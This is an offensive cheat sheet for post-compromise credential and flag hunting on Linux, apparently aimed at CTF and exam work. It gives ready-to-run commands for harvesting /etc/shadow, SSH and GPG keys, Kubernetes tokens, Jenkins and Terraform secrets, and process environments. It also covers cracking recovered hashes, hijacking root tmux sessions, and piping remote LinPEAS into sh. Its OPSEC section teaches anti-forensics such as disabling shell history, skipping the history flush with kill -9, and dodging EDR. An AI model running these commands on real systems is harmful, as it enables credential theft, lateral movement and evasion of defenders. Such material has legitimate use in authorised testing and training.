Linux Credential & Flag Hunting
Post-compromise searching on Linux: locate proof flags, then sweep for passwords, keys, and secrets that enable lateral movement or privilege escalation.
Golden rule — append
2>/dev/nullto every recursivefind/grepfrom/so permission-denied noise does not bury real hits.
Phase 1 — Flag Hunting
# The usual CTF / exam proof files, anywhere on disk
find / -type f \( -iname 'user.txt' -o -iname 'root.txt' -o -iname 'proof.txt' -o -iname 'flag*.txt' \) 2>/dev/null
# Common fixed locations
cat /home/*/user.txt 2>/dev/null
cat /root/root.txt 2>/dev/null
# Anything that looks like a hash-style flag inside files (HTB/THM style)
grep -rlE '[A-Fa-f0-9]{32}' /home /root 2>/dev/null
# Flag left in an unusual name/extension
find / -type f -iname '*flag*' 2>/dev/null
Phase 2 — The find Cheat Card
# By name (case-insensitive), suppress errors
find / -iname 'id_rsa' 2>/dev/null
# By multiple extensions
find / -type f \( -name '*.conf' -o -name '*.config' -o -name '*.cnf' \) 2>/dev/null
# Files modified in the last day (fresh loot after a deploy)
find / -type f -mmin -60 2>/dev/null # last 60 minutes
find / -type f -newermt '2026-09-01' 2>/dev/null # since a date
# World-writable files and dirs (tampering / privesc)
find / -type f -perm -o+w 2>/dev/null
find / -writable -type d 2>/dev/null
# SUID / SGID binaries (privesc paths — cross-check GTFOBins)
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
# Files owned by a specific user
find / -user root -type f -perm -o+r 2>/dev/null
# Files with capabilities (modern privesc vector)
getcap -r / 2>/dev/null
Phase 3 — Grep for Secrets
# Recursive, case-insensitive, show filename + line
grep -rniE 'password|passwd|pwd|secret|api[_-]?key|token' /etc /opt /var/www /home 2>/dev/null
# Assignment patterns only (cuts false positives)
grep -rniE '(pass(word)?|secret|token)\s*[=:]\s*\S+' /var/www /opt 2>/dev/null
# Search only useful file types across a web root
grep -rniE 'password|secret' /var/www --include='*.php' --include='*.env' --include='*.yml' --include='*.ini' 2>/dev/null
# ripgrep is far faster if present
rg -i --no-ignore -e 'password' -e 'secret' -e 'api_key' /var/www /opt 2>/dev/null
Phase 4 — High-Value File Locations
Credential & config files
# Shell / app history — often holds passwords typed on the CLI
cat ~/.bash_history ~/.zsh_history 2>/dev/null
cat ~/.mysql_history ~/.psql_history ~/.python_history 2>/dev/null
find / \( -name '.*_history' -o -name '.bash_history' \) 2>/dev/null
# Credentials cached by common tools
cat ~/.netrc ~/.git-credentials 2>/dev/null # plaintext creds
cat ~/.aws/credentials ~/.config/gcloud/*.json 2>/dev/null
cat ~/.docker/config.json 2>/dev/null # base64 registry auth
find / -name '*.kdbx' 2>/dev/null # KeePass databases
# Web app secrets
find / \( -name 'wp-config.php' -o -name '.env' -o -name 'config.php' \
-o -name 'settings.py' -o -name 'database.yml' -o -name 'application.properties' \) 2>/dev/null
# Backups frequently contain old-but-valid secrets
find / -type f \( -name '*.bak' -o -name '*.old' -o -name '*.save' -o -name '*.orig' -o -name '*~' \) 2>/dev/null
SSH keys
# Private keys, authorized_keys, known_hosts (lateral movement)
find / \( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' -o -name '*.pem' \) 2>/dev/null
find / -name 'authorized_keys' -o -name 'known_hosts' 2>/dev/null
# Recognise a private key by content, not just name
grep -rl 'PRIVATE KEY' /home /root /etc /opt 2>/dev/null
System credential stores
cat /etc/passwd # users / shells / home dirs
cat /etc/shadow 2>/dev/null # password hashes (root only)
# Unshadow for cracking: unshadow passwd shadow > hashes.txt then hashcat -m 1800
cat /etc/sudoers /etc/sudoers.d/* 2>/dev/null # sudo rules → privesc
cat /etc/crontab; ls -la /etc/cron.* /var/spool/cron/ 2>/dev/null # scheduled jobs
GPG keyrings & gpg-agent
# Keyring + private key material
ls -la ~/.gnupg/ 2>/dev/null # pubring.kbx, trustdb.gpg, private-keys-v1.d/
find / \( -name 'secring.gpg' -o -name 'pubring.kbx' -o -name '*.gpg' -o -name '*.asc' \) 2>/dev/null
# What secret keys exist locally
gpg --list-secret-keys
# gpg-agent may still hold the passphrase — try decrypting loot directly
gpg --decrypt /path/to/secret.gpg 2>/dev/null
# ...or export the private key if the agent/passphrase lets you, then crack it offline
gpg --export-secret-keys -a > /tmp/secret.asc 2>/dev/null
gpg2john /tmp/secret.asc > gpg.hash && john gpg.hash
Tip — a
~/.password-store/(pass) tree plus a cached gpg-agent passphrase turns every*.gpgunder it into cleartext withpass show <name>.
Cloud, cluster & CI/CD secrets
Kubernetes
cat ~/.kube/config "$KUBECONFIG" /etc/kubernetes/admin.conf 2>/dev/null
find / \( -name 'admin.conf' -o -name 'kubeconfig' -o -path '*/.kube/config' \) 2>/dev/null
# In-pod service-account token (authenticates to the API as that SA)
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null # also under /run/secrets/...
kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT \
--token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) \
--certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
get secrets -A -o yaml
Jenkins ($JENKINS_HOME, usually /var/lib/jenkins)
cat /var/lib/jenkins/credentials.xml 2>/dev/null
cat /var/lib/jenkins/secrets/master.key /var/lib/jenkins/secrets/hudson.util.Secret 2>/dev/null
find / \( -name 'credentials.xml' -o -name 'master.key' -o -name 'hudson.util.Secret' \) 2>/dev/null
grep -rlE '<password>|apiToken|credentialId' /var/lib/jenkins/jobs /var/lib/jenkins/users 2>/dev/null
Note — decrypt the
{AQAAAB...}blobs fromcredentials.xmlvia the Jenkins Script Console:println(hudson.util.Secret.decrypt("{AQAAAB...}")). Offline you needsecrets/master.key+secrets/hudson.util.Secret+ the blob (ajenkins-credential-decryptordoes this).
Registry / VCS tokens
cat ~/.npmrc 2>/dev/null # //registry/:_authToken= or _auth= (base64 user:pass)
cat ~/.pypirc 2>/dev/null # [pypi] username / password
cat ~/.config/gh/hosts.yml 2>/dev/null # GitHub CLI oauth_token
grep -rniE 'ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]+|glpat-[A-Za-z0-9_-]{20}' \
/home /root /opt /var/www /etc 2>/dev/null
env | grep -iE 'GITHUB_TOKEN|GITLAB_TOKEN|NPM_TOKEN|CI_JOB_TOKEN|PYPI'
Infrastructure-as-code & config management
Ansible Vault
grep -rl 'ANSIBLE_VAULT' / 2>/dev/null # encrypted files start $ANSIBLE_VAULT;1.1;AES256
find / \( -name '.vault_pass*' -o -name 'vault_pass*' \) 2>/dev/null
grep -rniE 'vault_password_file|vault_pass' /etc/ansible ~/.ansible.cfg ./ansible.cfg 2>/dev/null
ansible-vault view secrets.yml --vault-password-file .vault_pass # if the pass file is on disk
ansible2john group_vars/all.yml > vault.hash && john vault.hash # otherwise crack it
Terraform state (secrets stored in PLAINTEXT)
find / \( -name 'terraform.tfstate' -o -name '*.tfstate' -o -name '*.tfstate.backup' \) 2>/dev/null
grep -EiA2 '"(password|secret|access_key|secret_key|token|private_key)"' terraform.tfstate 2>/dev/null
find / \( -name '*.tfvars' -o -name '.terraformrc' -o -name 'credentials.tfrc.json' \) 2>/dev/null
Network & service credentials
# NetworkManager saved Wi-Fi / 802.1x (root-only, 0600)
grep -rE 'psk=|password=' /etc/NetworkManager/system-connections/ 2>/dev/null
nmcli -s -g 802-11-wireless-security.psk connection show <name> 2>/dev/null
cat /etc/wpa_supplicant/*.conf 2>/dev/null # psk= for wpa_supplicant setups
# SNMP community strings (an RW string often = full device control)
grep -rEi 'community|rocommunity|rwcommunity|com2sec' /etc/snmp/*.conf 2>/dev/null
Mail spools, PHP sessions & backups
# Local mail — password-reset mails, cron output, app notifications
ls -la /var/mail /var/spool/mail 2>/dev/null
cat /var/mail/* /var/spool/mail/* 2>/dev/null
# PHP session files can hold auth state / plaintext values
ls -la /var/lib/php/sessions/ /var/lib/php*/sessions/ 2>/dev/null; ls -la /tmp/sess_* 2>/dev/null
grep -rliE 'pass|user|token|admin' /var/lib/php/sessions/ /tmp 2>/dev/null
# Debian backs up the account DB here — shadow.bak is a classic privesc win
ls -la /var/backups/ 2>/dev/null
cat /var/backups/shadow.bak /var/backups/passwd.bak 2>/dev/null
Tip — if
/var/backups/shadow.bakis group/other-readable,unshadow /etc/passwd shadow.bak > hashes.txtthen crack with hashcat-m 1800— no root needed to read the copy.
Phase 5 — Runtime & Memory
# Environment variables of every process (secrets passed via env)
for f in /proc/*/environ; do tr '\0' '\n' < "$f" 2>/dev/null; done | grep -iE 'pass|token|key|secret' | sort -u
# Your own shell environment
env | grep -iE 'pass|token|key|secret'
# Mounted shares / fstab creds (cifs credentials= files)
cat /etc/fstab 2>/dev/null; grep -rl 'credentials=' /etc 2>/dev/null
# Command lines of running processes (passwords passed as args)
ps auxww | grep -iE 'pass|token|-p ' 2>/dev/null
Attach to a live tmux / screen session
# A detached session left by a privileged user = instant shell as them
screen -ls # your own sessions
ls -la /run/screen/ /var/run/screen/ /tmp/screens/ 2>/dev/null # other users' sockets: S-<user>
screen -x # attach to a multiuser/attached screen
screen -r <pid.tty.host> # reattach a named session
# tmux sockets live under /tmp/tmux-<uid>/
ls -la /tmp/tmux-*/ 2>/dev/null
tmux -S /tmp/tmux-0/default ls # list uid-0 (root) sessions if the socket is readable
tmux -S /tmp/tmux-0/default attach # attach -> shell as that user
Warning — you can only attach to a socket you can read/write: you already run as that user, the perms are loose, or you share its group. This cashes in a session someone left exposed; it does not by itself cross a privilege boundary.
Logs & journal (creds passed as args)
# systemd journal — services and cron sometimes log full command lines
journalctl 2>/dev/null | grep -iE 'password|passwd|token|secret|key='
journalctl _COMM=sudo 2>/dev/null # sudo usage; mistyped passwords can land in auth.log
# Classic text logs
grep -rniE 'password|passwd=|token|secret' /var/log/ 2>/dev/null
Tip — to catch a cron job or script that passes a password as an argument as it runs, watch live with
pspy(Phase 6) — the cred flashes in the process args even if it never touches disk.
Phase 6 — Automated Tools
| Tool | Command | Notes |
|---|---|---|
| LinPEAS | curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | All-in-one privesc + secret sweep |
| LinEnum | ./LinEnum.sh -t -k password | Keyword search mode |
| LaZagne | ./laZagne.py all | Dumps browser/mail/wifi/db creds |
| pspy | ./pspy64 | Watch cron/processes for creds passed as args |
| deepce | ./deepce.sh | Docker/container escape enum |
| unix-privesc-check | ./unix-privesc-check standard | pentestmonkey script; flags weak perms on cred/config files |
# Run linpeas without touching disk
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee linpeas.out
Quick Wins Checklist
-
sudo -l— what can you run as root? -
~/.bash_historyand other*_historyfiles -
id_rsa/.pemkeys → SSH to other hosts -
.env,wp-config.php,config.phpin web roots -
/etc/shadowreadable? → crack with hashcat-m 1800 - SUID binaries → check GTFOBins
- Cron jobs running writable scripts
- Reused passwords across users (
su/ DB / service) -
~/.kube/config//var/run/secrets/.../token→ cluster access - tmux/screen socket left by root (
/tmp/tmux-*,/run/screen/) → attach -
/var/backups/shadow.bakreadable? →unshadow+ hashcat-m 1800 - Jenkins
credentials.xml+secrets/master.key+hudson.util.Secret -
terraform.tfstateplaintext / Ansible Vault +.vault_pass -
~/.npmrc_authToken,ghp_/glpat-PATs,~/.config/gh/hosts.yml - NetworkManager
psk=/ SNMPrwcommunity
Troubleshooting
| Problem | Cause & fix |
|---|---|
find / floods the terminal with Permission denied | An unprivileged walk hits /proc, /sys and /run. Append 2>/dev/null, and add -xdev to stay on one filesystem |
find / hangs for minutes | It is walking NFS/CIFS mounts. -xdev stops it at the mount boundary, or prune explicitly: find / -path /mnt -prune -o -name '*.kdbx' -print |
grep -r prints Binary file ... matches and nothing useful | -a treats binaries as text (good for core dumps and memory images); -I skips them entirely when you only want config files |
grep -r password / returns thousands of lines | Anchor on assignment syntax instead of the bare word: grep -rEn "(password|passwd|secret|api_key)\s*[=:]\s*\S" --include=*.{conf,cfg,ini,env,yml,yaml,php,json} / 2>/dev/null |
locate finds nothing that clearly exists | mlocate.db is stale and updatedb needs root. Fall back to find |
/proc/<pid>/environ is unreadable for other users | Either hidepid=2 is set on /proc, or the process is not yours. Both resolve after privesc — re-run the sweep as root |
/etc/shadow is unreadable | Expected as a normal user. Go for copies instead: /var/backups/shadow.bak, /etc/shadow-, container images, and old tarballs under /opt |
| Shell history files are empty | HISTFILE is unset, or the session that would flush it is still open. Check every user’s ~/.bash_history, ~/.zsh_history, ~/.python_history and ~/.mysql_history |
| A recovered SSH key is rejected | chmod 600 the copy — OpenSSH refuses world-readable keys. If it prompts for a passphrase, run ssh2john id_rsa > hash and crack it |
sudo -l asks for a password you do not have | Not a dead end: sudo -l output is only one source. Check /etc/sudoers.d/, group membership (id), and SUID binaries directly |
Detection & OPSEC
Credential hunting is loud in ways that are easy to avoid.
- A full
find /walk touches every inode and lights up auditdpathrules plus any EDR with filesystem telemetry. Scope to the directories that actually pay:/home,/var/www,/opt,/etc,/srv. atimeupdates are a forensic trail. Most modern mounts userelatime, so reads still moveatimeonce a day.findwith-noleafdoes not help; if timestamps matter, prefer targeted reads over recursive greps.- Downloading LinPEAS to disk writes an artifact and is signatured by most AV on Linux endpoints. Pipe it into memory instead:
curl -s <url> | sh, and accept that you lose the ability to re-run it offline. - Reading
/proc/*/environand/proc/*/cmdlineat scale is a recognised credential-access pattern (MITRE T1552.001, Credentials In Files). Sysdig and Falco ship rules for it out of the box. - Your own commands land in history.
unset HISTFILEorexport HISTFILE=/dev/nullbefore the sweep, and remember the shell writes on exit —kill -9 $$skips the flush. - Leave found credentials where they are. Copying a keystore to
/tmpis a far stronger signal than reading it in place, and/tmpis where defenders look first.
Related
- Windows Credential & Flag Hunting — same job on Windows / Evil-WinRM
- Hashcat — crack the hashes you recover (
-m 1800sha512crypt,-m 500md5crypt) - John the Ripper —
unshadow+ crack/etc/shadow - Linux Privilege Escalation — SUID, cron, capabilities and GTFOBins follow-ups on what you find here
- Lateral Movement, Pivoting & Loot — pivot outward with recovered keys/creds
- Credential Hunting — pre-auth / external credential discovery